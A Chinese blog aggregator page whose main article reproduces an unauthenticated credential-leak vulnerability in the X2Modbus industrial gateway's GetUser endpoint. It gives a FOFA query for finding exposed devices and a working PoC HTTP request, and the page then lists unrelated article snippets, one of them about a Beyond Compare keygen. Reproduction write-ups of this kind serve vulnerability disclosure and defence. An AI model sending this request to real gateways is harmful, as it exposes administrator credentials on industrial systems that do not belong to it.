当前位置： 首页 > news >正文

迅饶科技 X2Modbus 网关 GetUser 信息泄露漏洞复现

news 2026/3/27 22:36:16

0x01 产品简介

X2Modbus是上海迅饶自动化科技有限公司Q开发的一款功能很强大的协议转换网关， 这里的X代表各家不同的通信协议， 2是T0的谐音表示转换， Modbus就是最终支持的标准协议是Modbus协议。用户可以根据现场设备的通信协议进行配置，转成标准的Modbus协议。在PC端仿真运行无误后，上传到硬件协议转换网关。

0x02 漏洞概述

X2Modbus网关GetUser接口存存在信息泄露漏洞，未经身份验证的攻击者可利用此漏洞获取管理员账号密码等凭证信息登录后台，使系统处于极不安全的状态。

0x03 复现环境

FOFA：server="SunFull-Webs"

0x04 漏洞复现

PoC

POST /soap/GetUser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

相关文章：

迅饶科技 X2Modbus 网关 GetUser 信息泄露漏洞复现

0x01 产品简介 X2Modbus是上海迅饶自动化科技有限公司Q开发的一款功能很强大的协议转换网关， 这里的X代表各家不同的通信协议， 2是T0的谐音表示转换， Modbus就是最终支持的标准协议是Modbus协议。用户可以根据现场设备的通信协议进行配置，转成标准的Modbus协议。在PC端仿真…...

编程日记 2024/4/4 5:50:47

修改亚马逊云科技账户的密码和MFA

要使用AWS CLI删除当前账户的多因素认证(MFA)设备并修改密码，你需要先确保已安装并配置了AWS CLI，并且你的账户有足够的权限执行这些操作。下面是如何分步进行的指导： 1. 删除MFA设备 首先，你需要找出MFA设备的序列号或ARN。可以…...

编程日记 2024/4/4 5:48:45

提升性能与精准追踪：SkyWalking自定义跟踪忽略插件

前言 当使用分布式追踪系统时，有时需要排除某些端点或路径，以减轻追踪系统的负载或减少不必要的数据收集。为了满足这种需求，SkyWalking 提供了一个可选的插件，即 apm-trace-ignore-plugin，它允许自定义需要跳过的路径…...

编程日记 2024/4/4 5:47:44

第十三届蓝桥杯大赛软件赛省赛CC++大学B组

第十三届蓝桥杯大赛软件赛省赛CC 大学 B 组 文章目录 第十三届蓝桥杯大赛软件赛省赛CC 大学 B 组1、九进制转十进制2、顺子日期3、刷题统计4、修建灌木5、x进制减法6、统计子矩阵7、积木画8、扫雷9、李白打酒加强版10、砍竹子 1、九进制转十进制 计算器计算即可。2999292。 2、…...

编程日记 2024/4/4 5:46:43

zookeeper监听集群节点的实现zkclient组件实现方案（Java版）

ZooKeeper Watcher 机制 client 向zookeeper 注册监听client注册的同时会存储一个WatchManager对象向zookeeper发生改变则notification client 并发送一个WatchManager对象,然后client再更新该对象 package com.jacky.zk.demo;import org.I0Itec.zkclient.IZkChildListener;…...

编程日记 2024/4/4 5:43:40

【ArduinoQuartus】在小脚丫STEP CYC10上安装PulseRain Reindeer并在软核上运行基础功能

【Arduino&Quartus】在小脚丫STEP CYC10上安装PulseRain Reindeer并在软核上运行基础功能 一、将Reindeer软核下载到STEP CYC10（一）下载PulseRain Reindeer软核（二）配置Reindeer软核到开发板1.将sof文件转换为jic文件2.将jic文…...

编程日记 2024/4/4 5:42:39

【电路笔记】-逻辑与门

逻辑与门 文章目录 逻辑与门1、概述2、2 输入晶体管与门3、数字与门类型4、7408 四路 2 输入与门逻辑与门是一种数字逻辑电路，仅当其所有输入均为高电平时，其输出才会变为高电平至逻辑电平 1。 1、概述 数字逻辑与门的输出状态仅在其任何输入处于逻辑电平“0”时再次返回“低…...

编程日记 2024/4/4 5:41:38

蓝桥杯练习——拼出一个未来

选中 index.html 右键启动 Web Server 服务（Open with Live Server），让项目运行起来。接着，打开环境右侧的【Web 服务】，就可以在浏览器中看到如下效果： 目标 完善 js/index.js 的 TODO 部分，实…...

编程日记 2024/4/4 5:39:35

stm32f103c8t6学习笔记（学习B站up江科大自化协）-SPI

SPI通信 SPI，（serial peripheral interface），字面翻译是串行外设接口，是一种通用的数据总线，适用于主控和外挂芯片之间的通信，与IIC应用领域非常相似。 IIC无论是在硬件电路还是在软件时序设计…...

编程日记 2024/4/4 5:37:33

云计算的安全需求

目录 一、概述 二、云安全服务基本能力要求 三、信息安全服务（云计算安全类）资质要求 3.1 概述 3.2 资质要求内容 3.2.1 组织与管理要求 3.2.2 技术能力要求 四、云安全主要合规要求 4.1 安全管理机构部门的建立 4.2 安全管理规范计划的编制 4…...

编程日记 2024/4/4 5:36:32

【C++】编程规范之表达式原则

表达式中变量的位置 在编写表达式时，将变量放置在右边，可以提高代码的可读性和可理解性。这种做法符合自然语言的阅读习惯，使得代码更易于理解。 // Good if (5 x) {// do something }// Avoid if (x 5) {// do something }不变量和资源申…...

编程日记 2024/4/4 5:35:30

Python人工智能基础知识：理解神经网络与机器学习的基本概念

人工智能（Artificial Intelligence，AI）是当今科技领域的热门话题之一，而神经网络和机器学习作为AI的两个重要分支，在解决各种问题中发挥着重要作用。本文将详细介绍神经网络和机器学习的基本概念，帮助读者更…...

编程日记 2024/4/4 5:34:30

10_MVC

文章目录 JSON常用的JSON解析Jackson的常规使用指定日期格式 MVC设计模式MVC介绍前后端分离案例（开发与Json相关接口） 三层架构三层架构介绍 JSON JSON（JavaScript Object Notation） 是一种轻量级的数据交换格式，是存…...

编程日记 2024/4/4 5:33:29

【Java多线程（4）】案例：设计模式

目录 一、什么是设计模式？ 二、单例模式 1. 饿汉模式 2. 懒汉模式 懒汉模式-第一次改进 懒汉模式-第二次改进 懒汉模式-第三次改进 一、什么是设计模式？ 设计模式是针对软件设计中常见问题的通用解决方案。它们提供了一种被广泛接受的方法来解决…...

编程日记 2024/4/4 5:32:28

时序预测 | Matlab实现CPO-BiLSTM【24年新算法】冠豪猪优化双向长短期记忆神经网络时间序列预测

时序预测 | Matlab实现CPO-BiLSTM【24年新算法】冠豪猪优化双向长短期记忆神经网络时间序列预测 目录 时序预测 | Matlab实现CPO-BiLSTM【24年新算法】冠豪猪优化双向长短期记忆神经网络时间序列预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现CPO-BiLST…...

编程日记 2024/4/4 5:31:26

java面试题（4）｜Spring和Spring Boot之间有什么关联和区别

文章目录 Spring和Spring Boot的有什么关联？Spring和Spring Boot有什么区别？如何快速区分某个项目采用的是 Spring 还是 Spring Boot？ Spring和Spring Boot的有什么关联？ Spring Boot是建立在Spring框架之上的，因此它…...

编程日记 2024/4/4 5:30:25

Spring Boot中前端通过请求接口下载后端存放的Excel模板

导出工具类 package com.yutu.garden.utils;import com.baomidou.mybatisplus.core.toolkit.ObjectUtils; import org.apache.commons.io.IOUtils; import org.apache.poi.hssf.util.HSSFColor; import org.apache.poi.xssf.usermodel.XSSFWorkbook; import org.slf4j.Logger;…...

编程日记 2024/4/4 5:29:24

构建企业级微服务平台：实现可扩展性、弹性和高效性

在软件开发的快速发展领域中，企业不断努力构建健壮、可扩展和高效的系统。随着微服务架构的出现，再加上云原生技术的应用，创建敏捷且具有弹性的平台的可能性是无限的。在本指南中，我们将深入探讨使用强大的工具和技术组合&#xf…...

编程日记 2024/4/4 5:28:23

存内计算技术在边缘计算、物联网设备中的应用及前景

存内计算技术简介 存内计算技术是一种新兴的计算范式，其核心理念是将存储和计算功能集成在同一硬件单元中。这种技术的优势在于能够在存储单元内部直接进行计算操作，从而减少数据在存储器和处理器之间的传输，提高计算效率。 以下是存内计算技…...

编程日记 2024/4/4 5:27:22

C#使用Selenium驱动Chrome浏览器

1.Selenium库依赖安装 Selenium WebDriver是Selenium项目的一部分，用于模拟用户在Web应用程序中的交互操作。它支持多种浏览器，如Chrome、Firefox、IE等，且与各种编程语言（如Java、Python、C#等）兼容，具有…...

编程日记 2024/4/4 5:26:21

Mermaid在线编辑器：技术图表制作的高效解决方案

Mermaid在线编辑器：技术图表制作的高效解决方案 【免费下载链接】mermaid-live-editor Edit, preview and share mermaid charts/diagrams. New implementation of the live editor. 项目地址: https://gitcode.com/GitHub_Trending/me/mermaid-live-editor …...

编程新知 2026/3/27 22:30:16

告别模糊人像：AI驱动的面部增强新方案

告别模糊人像：AI驱动的面部增强新方案 【免费下载链接】DZ-FaceDetailer a node for comfyui for restore/edit/enchance faces utilizing face recognition 项目地址: https://gitcode.com/gh_mirrors/dz/DZ-FaceDetailer 在数字图像处理领域，人…...

编程新知 2026/3/27 22:22:11

【手把手】FFmpeg音视频开发从入门到实战：一文吃透音视频同步原理与代码实现（附完整源码）

文章目录第一章 基础必懂：音视频开发的核心概念与FFmpeg框架1.1 别再被封装格式忽悠：MP4、MKV、AVI到底差在哪？1.2 搞懂解码流程：FFmpeg处理音视频的4个核心结构体第二章 深入原理：音视频同步的核心机制2.1 播放器卡顿…...

编程新知 2026/3/27 22:08:04

终极指南：如何从零开始打造你的第一台六足机器人

终极指南：如何从零开始打造你的第一台六足机器人 【免费下载链接】hexapod 项目地址: https://gitcode.com/gh_mirrors/hexapod5/hexapod 你是否梦想过亲手制作一台能够灵活行走、稳定爬行的六足机器人？想要体验机器人制作的乐趣，却担…...

编程新知 2026/3/27 22:06:04

WechatFerry实战指南：5步构建高效微信机器人自动化系统

WechatFerry实战指南：5步构建高效微信机器人自动化系统 【免费下载链接】wechatferry 基于 WechatFerry 的微信机器人底层框架 项目地址: https://gitcode.com/gh_mirrors/wec/wechatferry WechatFerry是一个基于Node.js生态的微信机器人底层框架&#xff0c…...

编程新知 2026/3/27 22:04:04

OpenGL之标准化设备坐标（Normalized Device Coordinate =NDC）

NDC坐标本质是比例1. 设备无关性NDC 使图形渲染与屏幕分辨率无关。无论屏幕是 1280720 还是 19201080，同样的 NDC 坐标都会渲染出相同比例的图形（图形会随着分辨率变化而自动拉伸），表现如下：┌────────────…...

编程新知 2026/3/27 20:13:08

Beyond Compare 5 三步快速激活方案：从评估错误到专业版授权的完整指南

Beyond Compare 5 三步快速激活方案：从评估错误到专业版授权的完整指南 【免费下载链接】BCompare_Keygen Keygen for BCompare 5 项目地址: https://gitcode.com/gh_mirrors/bc/BCompare_Keygen Beyond Compare 5 作为业界领先的文件比对与合并工具&#xf…...

编程新知 2026/3/27 18:36:37

开源动作捕捉新纪元：FreeMoCap低成本解决方案全解析

开源动作捕捉新纪元：FreeMoCap低成本解决方案全解析 【免费下载链接】freemocap Free Motion Capture for Everyone 💀✨ 项目地址: https://gitcode.com/GitHub_Trending/fr/freemocap 问题：动作捕捉技术的高门槛困境 在数字内容创作…...

编程新知 2026/3/27 18:28:32

Llama-3.2V-11B-cot惊艳案例：电影截图角色关系推演与剧情发展预测展示

Llama-3.2V-11B-cot惊艳案例：电影截图角色关系推演与剧情发展预测展示 1. 视觉推理工具简介 Llama-3.2V-11B-cot是基于Meta多模态大模型开发的高性能视觉推理工具，专为双卡4090环境深度优化。该工具不仅修复了视觉权重加载的关键问题，还支持…...

编程新知 2026/3/27 17:54:05

提升开发效率与视觉舒适度：LxgwWenKai字体全场景配置指南

提升开发效率与视觉舒适度：LxgwWenKai字体全场景配置指南 【免费下载链接】LxgwWenKai LxgwWenKai: 这是一个开源的中文字体项目，提供了多种版本的字体文件，适用于不同的使用场景，包括屏幕阅读、轻便版、GB规范字形和TC旧字形版。…...

编程新知 2026/3/27 16:51:33